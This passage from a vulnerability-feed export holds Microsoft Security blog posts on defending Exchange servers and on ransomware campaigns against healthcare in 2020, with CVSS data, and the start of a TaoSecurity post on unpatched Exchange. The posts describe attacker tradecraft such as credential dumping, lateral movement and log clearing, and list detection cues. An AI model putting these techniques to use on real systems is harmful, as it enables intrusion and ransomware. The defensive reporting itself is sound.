stages of compromise. Pay attention to and immediately investigate alerts indicating suspicious activities on Exchange servers. Catching attacks in the exploratory phase, the period in which attackers spend several days exploring the environment after gaining access, is key. Common application pools like \u2018_MSExchangeOWAAppPool\u2019_ or _\u2018MSExchangeECPAppPool\u2019 _are commonly hijacked by attackers through web shell deployment. Prioritize alerts related to processes such as _net.exe_, _cmd.exe_, and _mshta.exe_ originating from these pools or _w3wp.exe_ in general.\n\nBehavior-based blocking and containment capabilities in [Microsoft Defender Advanced Threat Protection](<https://www.microsoft.com/WindowsForBusiness/windows-atp>) stop many of the malicious activities we described in this blog. Behavior-based blocking and containment stops advanced attacks in their tracks by detecting and halting malicious processes and behaviors.\n\n \n\n \n\n_Figure 7. Microsoft Defender ATP alerts on blocked behaviors_\n\nIn addition, Microsoft Defender ATP\u2019s endpoint detection and response (EDR) sensors provide visibility into malicious behaviors associated with Exchange server compromise. Behavior-based Exchange-specific alerts include \u201cSuspicious w3wp.exe activity in Exchange\u201d, which indicates that attackers are running arbitrary commands via the IIS processes in an Exchange server.\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/Suspiciousw3wpexeactivityinExchange.png>)\n\n_Figure 8. Microsoft Defender ATP alert and process tree for suspicious w3wp.exe activity in Exchange_\n\nThese alerts should be immediately prioritized and fully investigated, and any credentials present on the Exchange server, including those used for service accounts and scheduled tasks, should be considered compromised. Beyond resolving these alerts in the shortest possible time, organizations should focus on investigating the end-to-end attack chain and trace the vulnerability, misconfiguration, or other weakness in the infrastructure that allowed the attack to occur.\n\nMicrosoft Defender ATP is a component of the broader [Microsoft Threat Protection](<https://www.microsoft.com/security/technology/threat-protection>) (MTP), which provides comprehensive visibility into advanced attacks by combining the capabilities of Office 365 ATP, Azure ATP, Microsoft Cloud App Security, and Microsoft Defender ATP. Through the [incidents](<https://docs.microsoft.com/microsoft-365/security/mtp/incidents-overview?view=o365-worldwide>) view, MTP provides a consolidated picture of related attack evidence that shows the complete attack story, empowering SecOps teams to thoroughly investigate attacks.\n\nIn addition, MTP\u2019s visibility into malicious artifacts and behavior empowers security operations teams to proactively hunt for threats on Exchange servers. For example, MTP can be connected to Azure Sentinel to enable [web shell threat hunting](<https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel-and-microsoft/ba-p/1448065>).\n\nThrough built-in intelligence and automation, Microsoft Threat Protection coordinates protection, detection, and response across endpoints, identity, data, and apps. [Learn more](<https://www.microsoft.com/en-us/security/technology/threat-protection>).\n\n \n\n**_Hardik Suri_**\n\n_Microsoft Defender ATP Research Team_\n\n \n\n### MITRE ATT&CK techniques\n\nInitial access\n\n * [Exploit Public-Facing Application](<https://attack.mitre.org/techniques/T1190/>)\n\nExecution\n\n * [Command-line interface](<https://attack.mitre.org/techniques/T1059/>)\n * [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047/>)\n * [PowerShell](<https://attack.mitre.org/techniques/T1086/>)\n\nPersistence\n\n * [Web Shell](<https://attack.mitre.org/techniques/T1100/>)\n * [Create Account](<https://attack.mitre.org/techniques/T1136/>)\n * [New Service](<https://attack.mitre.org/techniques/T1050/>)\n * [Scheduled Task](<https://attack.mitre.org/techniques/T1053/>)\n\nPrivilege escalation\n\n * [Valid Accounts](<https://attack.mitre.org/techniques/T1078/>)\n * [Web Shell](<https://attack.mitre.org/techniques/T1100/>)\n\nDefense evasion\n\n * [Indicator Removal from Tools](<https://attack.mitre.org/techniques/T1066/>)\n * [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027/>)\n * [Masquerading](<https://attack.mitre.org/techniques/T1036/>)\n\nCredential access\n\n * [Credential Dumping](<https://attack.mitre.org/techniques/T1003/>)\n\nDiscovery\n\n * [System Network Configuration Discovery](<https://attack.mitre.org/techniques/T1016/>)\n * [Remote System Discovery](<https://attack.mitre.org/techniques/T1018/>)\n * [Account Discovery](<https://attack.mitre.org/techniques/T1087/>)\n * [Permission Groups Discovery](<https://attack.mitre.org/techniques/T1069/>)\n\nLateral movement\n\n * [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077/>)\n * [Pass the Hash](<https://attack.mitre.org/techniques/T1075/>)\n * [Remote File Copy](<https://attack.mitre.org/techniques/T1105/>)\n * [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047/>)\n * [New Service](<https://attack.mitre.org/techniques/T1050/>)\n * [Scheduled Task](<https://attack.mitre.org/techniques/T1053/>)\n\nCollection\n\n * [Data From Local System](<https://attack.mitre.org/techniques/T1005/>)\n * [Data Staged](<https://attack.mitre.org/techniques/T1074/>)\n * [Email Collection](<https://attack.mitre.org/techniques/T1114/>)\n\nCommand and control\n\n * [Remote File Copy](<https://attack.mitre.org/techniques/T1105/>)\n * [Connection Proxy](<https://attack.mitre.org/techniques/T1090/>)\n\nExfiltration\n\n * [Data Compressed](<https://attack.mitre.org/techniques/T1002/>)\n * [Exfiltration Over Command and Control Channel](<https://attack.mitre.org/techniques/T1041/>)\n\n \n\nThe post [Defending Exchange servers under attack](<https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-24T16:00:40", "type": "mssecure", "title": "Defending Exchange servers under attack", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-06-24T16:00:40", "id": "MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "href": "https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-30T23:04:13", "description": "At a time when remote work is becoming universal and the strain on SecOps, especially in healthcare and critical industries, has never been higher, ransomware actors are unrelenting, continuing their normal operations.\n\nMultiple ransomware groups that have been accumulating access and maintaining persistence on target networks for several months activated dozens of ransomware deployments in the first two weeks of April 2020. So far the attacks have affected aid organizations, medical billing companies, manufacturing, transport, government institutions, and educational software providers, showing that these ransomware groups give little regard to the critical services they impact, global crisis notwithstanding. These attacks, however, are not limited to critical services, so organizations should be vigilant for signs of compromise.\n\nThe ransomware deployments in this two-week period appear to cause a slight uptick in the volume of ransomware attacks. However, Microsoft security intelligence as well as forensic data from relevant incident response engagements by Microsoft Detection and Response Team (DART) showed that many of the compromises that enabled these attacks occurred earlier. Using an attack pattern typical of [human-operated ransomware](<https://aka.ms/human-operated-ransomware>) campaigns, attackers have compromised target networks for several months beginning earlier this year and have been waiting to monetize their attacks by deploying ransomware when they would see the most financial gain.\n\nMany of these attacks started with the exploitation of vulnerable internet-facing network devices; others used brute force to compromise RDP servers. The attacks delivered a wide range of payloads, but they all used the same techniques observed in human-operated ransomware campaigns: credential theft and lateral movement, culminating in the deployment of a ransomware payload of the attacker\u2019s choice. Because the ransomware infections are at the tail end of protracted attacks, defenders should focus on hunting for signs of adversaries performing credential theft and lateral movement activities to prevent the deployment of ransomware.\n\nIn this blog, we share our in-depth analysis of these ransomware campaigns. Below, we will cover:\n\n * Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks\n * A motley crew of ransomware payloads\n * Immediate response actions for active attacks\n * Building security hygiene to defend networks against human-operated ransomware\n * Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware\n\nWe have included additional technical details including hunting guidance and recommended prioritization for security operations (SecOps).\n\n## Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks\n\nWhile the recent attacks deployed various ransomware strains, many of the campaigns shared infrastructure with previous ransomware campaigns and used the same techniques commonly observed in human-operated ransomware attacks.\n\nIn stark contrast to attacks that deliver ransomware via email\u2014which tend to unfold much faster, with ransomware deployed within an hour of initial entry\u2014the attacks we saw in April are similar to the Doppelpaymer ransomware campaigns from 2019, where attackers gained access to affected networks months in advance. They then remained relatively dormant within environments until they identified an opportune time to deploy ransomware.\n\nTo gain access to target networks, the recent ransomware campaigns exploited internet-facing systems with the following weaknesses:\n\n * Remote Desktop Protocol (RDP) or Virtual Desktop endpoints without multi-factor authentication (MFA)\n * Older platforms that have reached end of support and are no longer getting security updates, such as Windows Server 2003 and Windows Server 2008, exacerbated by the use of weak passwords\n * Misconfigured web servers, including IIS, electronic health record (EHR) software, backup servers, or systems management servers\n * Citrix Application Delivery Controller (ADC) systems affected by [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)\n * Pulse Secure VPN systems affected by [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\nApplying security patches for internet-facing systems is critical in preventing these attacks. It\u2019s also important to note that, although Microsoft security researchers have not observed the recent attacks exploiting the following vulnerabilities, historical signals indicate that these campaigns may eventually exploit them to gain access, so they are worth reviewing: [CVE-2019-0604](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>), [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), [CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>).\n\nLike many breaches, attackers employed credential theft, lateral movement capabilities using common tools, including Mimikatz and Cobalt Strike, network reconnaissance, and data exfiltration. In these specific campaigns, the operators gained access to highly privileged administrator credentials and were ready to take potentially more destructive action if disturbed. On networks where attackers deployed ransomware, they deliberately maintained their presence on some endpoints, intending to reinitiate malicious activity after ransom is paid or systems are rebuilt. In addition, while only a few of these groups gained notoriety for selling data, almost all of them were observed viewing and exfiltrating data during these attacks, even if they have not advertised or sold yet.\n\nAs with all human-operated ransomware campaigns, these recent attacks spread throughout an environment affecting email identities, endpoints, inboxes, applications, and more. Because it can be challenging even for experts to ensure complete removal of attackers from a fully compromised network, it\u2019s critical that vulnerable internet-facing systems are proactively patched and mitigations put in place to reduce the risk from these kinds of attacks.\n\n## A motley crew of ransomware payloads\n\nWhile individual campaigns and ransomware families exhibited distinct attributes as described in the sections below, these human-operated ransomware campaigns tended to be variations on a common attack pattern. They unfolded in similar ways and employed generally the same attack techniques. Ultimately, the specific ransomware payload at the end of each attack chain was almost solely a stylistic choice made by the attackers.\n\n\n\n### RobbinHood ransomware\n\nRobbinHood ransomware operators gained some attention for [exploiting vulnerable drivers](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) late in their attack chain to turn off security software. However, like many other human-operated ransomware campaigns, they typically start with an RDP brute-force attack against an exposed asset. They eventually obtain privileged credentials, mostly local administrator accounts with shared or common passwords, and service accounts with domain admin privileges. RobbinHood operators, like Ryuk and other well-publicized ransomware groups, leave behind new local and Active Directory user accounts, so they can regain access after their malware and tools have been removed.\n\n### Vatet loader\n\nAttackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.\n\nThe group behind this tool appears to be particularly intent on targeting hospitals, as well as aid organizations, insulin providers, medical device manufacturers, and other critical verticals. They are one of the most prolific ransomware operators during this time and have caused dozens of cases.\n\nUsing Vatet and Cobalt Strike, the group has delivered various ransomware payloads. More recently, they have been deploying in-memory ransomware that utilizes Alternate Data Streams (ADS) and displays simplistic ransom notes copied from older ransomware families. To access target networks, they exploit [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>), brute force RDP endpoints, and send email containing .lnk files that launch malicious PowerShell commands. Once inside a network, they steal credentials, including those stored in the Credential Manager vault, and move laterally until they gain domain admin privileges. The group has been observed exfiltrating data prior to deploying ransomware.\n\n### NetWalker ransomware\n\nNetWalker campaign operators gained notoriety for targeting hospitals and healthcare providers with emails claiming to provide information about COVID-19. These emails also delivered NetWalker ransomware directly as a .vbs attachment, a technique that has gained media attention. However, the campaign operators also compromised networks using misconfigured IIS-based applications to launch Mimikatz and steal credentials, which they then used to launch PsExec, and eventually deploying the same NetWalker ransomware.\n\n### PonyFinal ransomware\n\nThis Java-based ransomware had been considered a novelty, but the campaigns deploying PonyFinal weren\u2019t unusual. Campaign operators compromised internet-facing web systems and obtained privileged credentials. To establish persistence, they used PowerShell commands to launch the system tool mshta.exe and set up a reverse shell based on a common PowerShell attack framework. They also used legitimate tools, such as Splashtop, to maintain remote desktop connections.\n\n### Maze ransomware\n\nOne of the first ransomware campaigns to make headlines for selling stolen data, Maze continues to target technology providers and public services. Maze has a history of going after managed service providers (MSPs) to gain access to the data and networks of MSP customers.\n\nMaze has been delivered via email, but campaign operators have also deployed Maze to networks after gaining access using common vectors, such as RDP brute force. Once inside a network, they perform credential theft, move laterally to access resources and exfiltrate data, and then deploy ransomware.\n\nIn a recent campaign, Microsoft security researchers tracked Maze operators establishing access through an internet-facing system by performing RDP brute force against the local administrator account. Using the brute-forced password, campaign operators were able to move laterally because built-in administrator accounts on other endpoints used the same passwords.\n\nAfter gaining control over a domain admin account through credential theft, campaign operators used Cobalt Strike, PsExec, and a plethora of other tools to deploy various payloads and access data. They established fileless persistence using scheduled tasks and services that launched PowerShell-based remote shells. They also turned on Windows Remote Management for persistent control using stolen domain admin privileges. To weaken security controls in preparation for ransomware deployment, they manipulated various settings through Group Policy.\n\n### REvil ransomware\n\nPossibly the first ransomware group to take advantage of the network device vulnerabilities in Pulse VPN to steal credentials to access networks, REvil (also called Sodinokibi) gained notoriety for accessing MSPs and accessing the networks and documents of customers \u2013 and selling access to both. They kept up this activity during the COVID-19 crisis, targeting MSPs and other targets like local governments. REvil attacks are differentiated in their uptake of new vulnerabilities, but their techniques overlap with many other groups, relying on credential theft tools like Mimikatz once in the network and performing lateral movement and reconnaissance with tools like PsExec.\n\n### Other ransomware families\n\nOther ransomware families used in human-operated campaigns during this period include:\n\n * Paradise, which used to be distributed directly via email but is now used in human-operated ransomware attacks\n * RagnarLocker, which is deployed by a group that heavily uses RDP and Cobalt Strike with stolen credentials\n * MedusaLocker, which is possibly deployed via existing Trickbot infections\n * LockBit, which is distributed by operators that use the publicly available penetration testing tool CrackMapExec to move laterally\n\n## Immediate response actions for active attacks\n\nWe highly recommend that organizations immediately check if they have any alerts related to these ransomware attacks and prioritize investigation and remediation. Malicious behaviors relevant to these attacks that defenders should pay attention to include:\n\n * Malicious PowerShell, Cobalt Strike, and other penetration-testing tools that can allow attacks to blend in as benign red team activities\n * Credential theft activities, such as suspicious access to Local Security Authority Subsystem Service (LSASS) or suspicious registry modifications, which can indicate new attacker payloads and tools for stealing credentials\n * Any tampering with a security event log, forensic artifact such as the USNJournal, or a security agent, which attackers do to evade detections and to erase chances of recovering data\n\nCustomers using [Microsoft Defender Advanced Threat Protection (ATP)](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>) can consult a companion [threat analytics](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/threat-analytics>) report for more details on relevant alerts, as well as advanced hunting queries. Customers subscribed to the [Microsoft Threat Experts](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts>) service can also refer to the [targeted attack notification](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts#targeted-attack-notification>), which has detailed timelines of attacks, recommended mitigation steps for disrupting attacks, and remediation advice.\n\nIf your network is affected, perform the following scoping and investigation activities immediately to understand the impact of this breach. Using indicators of compromise (IOCs) alone to determine impact from these threats is not a durable solution, as most of these ransomware campaigns employ \u201cone-time use\u201d infrastructure for campaigns, and often change their tools and systems once they determine the detection capabilities of their targets. Detections and mitigations should concentrate on holistic behavioral based hunting where possible, and hardening infrastructure weaknesses favored by these attackers as soon as possible.\n\n### Investigate affected endpoints and credentials\n\nInvestigate endpoints affected by these attacks and identify all the credentials present on those endpoints. Assume that these credentials were available to attackers and that all associated accounts are compromised. Note that attackers can not only dump credentials for accounts that have logged on to interactive or RDP sessions, but can also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry.\n\n * For endpoints onboarded to [Microsoft Defender ATP](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>), use advanced hunting to identify accounts that have logged on to affected endpoints. The threat analytics report contains a hunting query for this purpose.\n * Otherwise, check the Windows Event Log for post-compromise logons\u2014those that occur after or during the earliest suspected breach activity\u2014with event ID 4624 and logon type 2 or 10. For any other timeframe, check for logon type 4 or 5.\n\n### Isolate compromised endpoints\n\nIsolate endpoints that have command-and-control beacons or have been lateral movement targets. Locate these endpoints using advanced hunting queries or other methods of directly searching for related IOCs. [Isolate machines](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/respond-machine-alerts#isolate-machines-from-the-network>) using Microsoft Defender ATP, or use other data sources, such as NetFlow, and search through your SIEM or other centralized event management solutions. Look for lateral movement from known affected endpoints.\n\n### Address internet-facing weaknesses\n\nIdentify perimeter systems that attackers might have utilized to access your network. You can use a public scanning interface, such as [_shodan.io_](<https://www.shodan.io/>), to augment your own data. Systems that should be considered of interest to attackers include:\n\n * RDP or Virtual Desktop endpoints without MFA\n * Citrix ADC systems affected by CVE-2019-19781\n * Pulse Secure VPN systems affected by CVE-2019-11510\n * Microsoft SharePoint servers affected by CVE-2019-0604\n * Microsoft Exchange servers affected by CVE-2020-0688\n * Zoho ManageEngine systems affected by CVE-2020-10189\n\nTo further reduce organizational exposure, Microsoft Defender ATP customers can use the [Threat and Vulnerability Management (TVM)](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/next-gen-threat-and-vuln-mgt>) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations. TVM allows security administrators and IT administrators to collaborate seamlessly to remediate issues.\n\n### Inspect and rebuild devices with related malware infections\n\nMany ransomware operators enter target networks through existing infections of malware like Emotet and Trickbot. These malware families, traditionally considered to be banking trojans, have been used to deliver all kinds of payloads, including persistent implants. Investigate and remediate any known infections and consider them possible vectors for sophisticated human adversaries. Ensure that you check for exposed credentials, additional payloads, and lateral movement prior to rebuilding affected endpoints or resetting passwords.\n\n## Building security hygiene to defend networks against human-operated ransomware\n\nAs ransomware operators continue to compromise new targets, defenders should proactively assess risk using all available tools. You should continue to enforce proven preventive solutions\u2014credential hygiene, minimal privileges, and host firewalls\u2014to stymie these attacks, which have been consistently observed taking advantage of security hygiene issues and over-privileged credentials.\n\nApply these measures to make your network more resilient against new breaches, reactivation of dormant implants, or lateral movement:\n\n * Randomize local administrator passwords using a tool such as LAPS.\n * Apply [Account Lockout Policy](<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/account-lockout-policy>).\n * Ensure good perimeter security by patching exposed systems. Apply mitigating factors, such as MFA or vendor-supplied mitigation guidance, for vulnerabilities.\n * Utilize [host firewalls to limit lateral movement](<https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections>). Preventing endpoints from communicating on TCP port 445 for SMB will have limited negative impact on most networks, but can significantly disrupt adversary activities.\n * Turn on cloud-delivered protection for Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.\n * Follow standard guidance in the [security baselines](<https://techcommunity.microsoft.com/t5/microsoft-security-baselines/bg-p/Microsoft-Security-Baselines>) for Office and Office 365 and the Windows security baselines. Use [Microsoft Secure Score](<https://docs.microsoft.com/en-us/microsoft-365/security/mtp/microsoft-secure-score-preview>) assesses to measures security posture and get recommended improvement actions, guidance, and control.\n * Turn on [tamper protection](<https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Tamper-protection-now-generally-available-for-Microsoft-Defender/ba-p/911482>) features to prevent attackers from stopping security services.\n * Turn on [attack surface reduction rules](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction>), including rules that can block ransomware activity: \n * Use advanced protection against ransomware\n * Block process creations originating from PsExec and WMI commands\n * Block credential stealing from the Windows local security authority subsystem (lsass.exe)\n\nFor additional guidance on improving defenses against human-operated ransomware and building better security posture against cyberattacks in general, read [Human-operated ransomware attacks: A preventable disaster](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).\n\n## Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware\n\nWhat we\u2019ve learned from the increase in ransomware deployments in April is that attackers pay no attention to the real-world consequences of disruption in services\u2014in this time of global crisis\u2014that their attacks cause.\n\nHuman-operated ransomware attacks represent a different level of threat because adversaries are adept at systems administration and security misconfigurations and can therefore adapt to any path of least resistance they find in a compromised network. If they run into a wall, they try to break through. And if they can\u2019t break through a wall, they\u2019ve shown that they can skillfully find other ways to move forward with their attack. As a result, human-operated ransomware attacks are complex and wide-reaching. No two attacks are exactly the same.\n\n[Microsoft Threat Protections (MTP)](<https://www.microsoft.com/en-us/security/technology/threat-protection>) provides coordinated defenses that uncover the complete attack chain and help block sophisticated attacks like human-operated ransomware. MTP combines the capabilities of multiple Microsoft 365 security services to orchestrate protection, prevention, detection, and response across endpoints, email, identities, and apps.\n\nThrough built-in intelligence, automation, and integration, MTP can block attacks, eliminate their persistence, and auto-heal affected assets. It correlates signals and consolidates alerts to help defenders prioritize incidents for investigation and response. MTP also provides a unique cross-domain hunting capability that can further help defenders identify attack sprawl and get org-specific insights for hardening defenses.\n\nMicrosoft Threat Protection is also part of a [chip-to-cloud security approach](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) that combines threat defense on the silicon, operating system, and cloud. Hardware-backed security features on Windows 10 like address space layout randomization (ASLR), Control Flow Guard (CFG), and others harden the platform against many advanced threats, including ones that take advantage of vulnerable kernel drivers. These platform security features seamlessly integrate with Microsoft Defender ATP, providing end-to-end security that starts from a strong hardware root of trust. On [Secured-core PCs](<https://www.microsoft.com/en-us/windowsforbusiness/windows10-secured-core-computers>) these mitigations are enabled by default.\n\nWe continue to work with our customers, partners, and the research community to track human-operated ransomware and other sophisticated attacks. For dire cases customers can use available services like the [Microsoft Detection and Response (DART) team](<https://www.microsoft.com/security/blog/microsoft-detection-and-response-team-dart-blog-series/>) to help investigate and remediate.\n\n \n\n_Microsoft Threat Protection Intelligence Team_\n\n \n\n## Appendix: MITRE ATT&CK techniques observed\n\nHuman-operated ransomware campaigns employ a broad range of techniques made possible by attacker control over privileged domain accounts. The techniques listed here are techniques commonly used during attacks against healthcare and critical services in April 2020.\n\nCredential access\n\n * [T1003 Credential Dumping](<https://attack.mitre.org/techniques/T1003/>) | Use of LaZagne, Mimikatz, LsaSecretsView, and other credential dumping tools and exploitation of [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) on vulnerable endpoints\n\nPersistence\n\n * [T1084 Windows Management Instrumentation Event Subscription](<https://attack.mitre.org/techniques/T1084/>) | WMI event subscription\n * [T1136 Create Account](<https://attack.mitre.org/techniques/T1136/>) | Creation of new accounts for RDP\n\nCommand and control\n\n * [T1043 Commonly Used Port](<https://attack.mitre.org/techniques/T1043/>) | Use of port 443\n\nDiscovery\n\n * [T1033 System Owner/User Discovery](<https://attack.mitre.org/techniques/T1033/>) | Various commands\n * [T1087 Account Discovery](<https://attack.mitre.org/techniques/T1087/>) | LDAP and AD queries and other commands\n * [T1018 Remote System Discovery](<https://attack.mitre.org/techniques/T1018/>) | Pings, qwinsta, and other tools and commands\n * [T1482 Domain Trust Discovery](<https://attack.mitre.org/techniques/T1482/>) | Domain trust enumeration using Nltest\n\nExecution\n\n * [T1035 Service Execution](<https://attack.mitre.org/techniques/T1035/>) | Service registered to run CMD (as ComSpec) and PowerShell commands\n\nLateral movement\n\n * [T1076 Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1076/>) | Use of RDP to reach other machines in the network\n * [T1105 Remote File Copy](<https://attack.mitre.org/techniques/T1105/>) | Lateral movement using WMI and PsExec\n\nDefense evasion\n\n * [T1070 Indicator Removal on Host](<https://attack.mitre.org/techniques/T1070/>) | Clearing of event logs using wevutil, removal of USNJournal using fsutil, and deletion of slack space on drive using cipher.exe\n * [T1089 Disabling Security Tools](<https://attack.mitre.org/techniques/T1089/>) | Stopping or tampering with antivirus and other security using ProcessHacker and exploitation of vulnerable software drivers\n\nImpact\n\n * [T1489 Service Stop](<https://attack.mitre.org/techniques/T1489/>) | Stopping of services prior to encryption\n * [T1486 Data Encrypted for Impact](<https://attack.mitre.org/techniques/T1486/>) | Ransomware encryption\n\nThe post [Ransomware groups continue to target healthcare, critical services; here\u2019s how to reduce risk](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-28T16:00:49", "type": "mssecure", "title": "Ransomware groups continue to target healthcare, critical services; here\u2019s how to reduce risk", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-10189"], "modified": "2020-04-28T16:00:49", "id": "MSSECURE:E3C8B97294453D962741782EC959E79C", "href": "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "taosecurity": [{"lastseen": "2021-07-28T14:41:26", "description": "[](<https://1.bp.blogspot.com/-3z5xWliAyNA/XoyXtcOtaNI/AAAAAAAA_oc/Uy9Yzi4j07AtCMWr2pqem1y9kOOxa8gmQCLcBGAsYHQ/s1600/Servers%2Bvulnerable%2Bto%2BCVE-2020-0688.png>) \n--- \nCVE-2020-0688 Scan Results, per Rapid7 \n \ntl;dr -- it's the title of the post: \"If You Can't Patch Your Email Server, You Should Not Be Running It.\" \n \nI read a [disturbing story today](<https://www.bleepingcomputer.com/news/security/80-percent-of-all-exposed-exchange-servers-still-unpatched-for-critical-flaw/>) with the following news: \n \n\"Starting March 24, Rapid7 used its Project Sonar internet-wide survey tool to discover all publicly-facing Exchange servers on the Internet and the numbers are grim. \n \nAs they found, **'at least 357,629 (82.5%) of the 433,464 Exchange servers' are still vulnerable to attacks that would exploit the CVE-2020-0688 vulnerability.** \n \nTo make matters even worse,** some of the servers that were tagged by Rapid7 as being safe against attacks might still be vulnerable** given that 'the related Microsoft update wasn\u2019t always updating the build number.' \n \nFurthermore, **'there are over 31,000 Exchange 2010 servers that have not been updated since 2012**,' as the Rapid7 researchers observed. '**There are nearly 800 Exchange 2010 servers that have never been updated**.' \n \nThey also found **10,731 Exchange 2007 servers** and more than 166,321 Exchange 2010 ones, with the former** already running End of Support (EoS) software that hasn't received any security updates since 2017** and the latter reaching EoS in October 2020.\" \n \nIn case you were wondering, [threat actors have already been exploiting these flaws](<https://www.bleepingcomputer.com/news/security/nsa-warns-about-microsoft-exchange-flaw-as-attacks-start/>) for weeks, if not months. \n \nEmail is one of, if not the most, sensitive and important systems upon which organizations of all shapes and sizes rely. The are, by virtue of their function, inherently exposed to the Internet, meaning they are within the range of every targeted or opportunistic intruder, worldwide. \n \nIn this particular case, unpatched servers are also vulnerable to any actor who can download and update Metasploit, which is virtually 100% of them. \n \nIt is the height of negligence to run such an important system in an unpatched state, when there are much better alternatives -- namely, outsourcing your email to a competent provider, like Google, Microsoft, or several others. \n \nI expect some readers are saying \"I would never put my email in the hands of those big companies!\" That's fine, and I know several highly competent individuals who run their own email infrastructure. The problem is that they represent the small fraction of individuals and organizations who can do so. Even being extremely generous with the numbers, it appears that less than 20%, and probably less than 15% according to other estimates, can even keep their Exchange servers patched, let alone properly configured. \n \nIf you think it's still worth the risk, and your organization isn't able to patch, because you want to avoid megacorp email providers or government access to your email, you've made a critical miscalculation. You've essentially decided that it's 